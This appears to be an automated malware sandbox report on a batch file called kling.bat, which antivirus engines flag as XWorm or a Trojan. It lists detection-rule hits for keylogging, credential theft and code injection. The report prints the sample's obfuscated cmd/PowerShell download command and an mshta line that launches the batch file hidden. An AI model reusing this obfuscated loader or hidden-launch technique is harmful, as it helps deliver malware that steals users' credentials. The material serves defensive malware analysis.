kling.bat| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | Oct. 31, 2024, 6:01 p.m. | Oct. 31, 2024, 6:07 p.m. |
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| No hosts contacted. | ||
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
| cmdline | C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.~-27, 1%j%Zycce]o%h%p(DWAUM%z%EQC#jzh%w%)N)Sk%n%mvTYm#O%y%x_Aoo%d%nuBYi%U1%Ogh,uQd%w%]eJHEe%t%YqfFh%y%yaaml%t%KpktE%h%]m)wV%t%Fqg_Y)%q%g?KP[v%TMP:~-4, 1%d%G]dZDFs%u%R$Rg#N%j%ydUsxFJ(RNJcGdS#ooZV%Y1%rUutqk_%q%frJxHf[%x%lT)qkY::~-20, 1kAPAtccPSWbOAJ%S1%ij$Mr%j%BE?QDlu%b%tl_Rqu$XT,dVb%T1%OrCIX%g%eUIwjZW%o%?meBq%j%S]sJ)r%h%ZHe[[T%y%Ir,ImH)WCiE%Y1%wj$$Z%d%J[[]fSF%u%TNbBNW%j%kaDCVi%S1%CQsslO%f%p(dspmn%r%J[E_y%j%AYNFsfX1%rBIyLC%d%#?jcZ?k%x%pknfkl%y%VrVnTwa%j%g]DDK]%r%HdJyoxjzDyTqa%S1%vutbop%j%zCv)$O%y%$eUFxX#QnOf%B1%_aea,%j%FHh$$_%g%uSE(s%H1%lxXur%q%)DtOhM%n%,qM)gY%j%HJwqPXa%s%PZGVlY%y%jOXCQ#?j$pKx(_se_j%tmp:~-15, 1%t%?SPy_%b%ZcIxV%s%?mRyV(%q%ddIsY(%lOcaLApPdAtA:~-4, 1%f%VSmIm%i%Rdgix%K1%zCokOMq%n%,HOVy%q%puXQNS%j%WcnY]tuSlol#]lhfc)w%m%ADZUb%y%kxY_Z%y%jayKm%u%e$TKXN%x%Bk?hhsSbCVRL#q?ZFjJmmAQ%h%b#_NLo%m%)xIDZ%w%n)FSH%t%__ExV$B%r%uQXmhPL%j%GeiU(%z%orJFDv%u%BATtww%i%pQGbD%f%w#QSML%y%)Poqc)%j%NY,Xh%x%$EeA,Rl$SAOq%h%XLcyxP%t%BSosDgA%r%qlsyrFxmMH?us%x%mj$HhK$%d%?otLSx%s%CKxwq[q%f%#L(dz(P%u%NbKQDS%y%_$CUXF%KDOT:~33,1%TEmp:~-8, 1%x%AriZxObaPIlE%e%NOgpsb%n%HmftM%u%DGTDmgCFCrpGJjQk)oeBpP%X1%Kj)rK(q%d%dGk,h%x%tEYjbTM%y%TlZQZRN%KDOT:~37,1%r%CSs]EgGOAyg_RD%N1%B?sMIw%T1%DIvyTjGGg$OV_y%U1%GZHqGz%f%TIteT%y%C_O?l%m%lXCTHZq]#DiTaKkJnWIMRmzB%L1%zKyZcl%j%GSAmtk%y%unMu#%Y1%PNs(ulc%j%hJxleU%r%iVk]v#%u%JjZlGq%U1%u?EIXz%f%O)BEd%y%MTYLbhL%m%$]Bcs$#eMTuIxtBQKCoIH_ZoPTFn%c%Q,CDy%K1%_z(By%X1%SreKci%T1%nUnayK%o%[vUpfUEl1Q.zip') " |
| cmdline | mshta vbscript:createobject("wscript.shell").run("""C:\Users\test22\AppData\Local\Temp\kling.bat"" ::",0)(window.close) |
| ESET-NOD32 | a variant of Generik.FQWMGAD |
| Kaspersky | HEUR:Trojan.BAT.Alien.gen |
| Gridinsoft | Malware.U.XWorm.tr |
| Microsoft | Trojan:Script/Wacatac.B!ml |
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| cmdline | C:\Users\test22\AppData\Local\Temp\kling.bat :: |
| cmdline | chcp 65001 |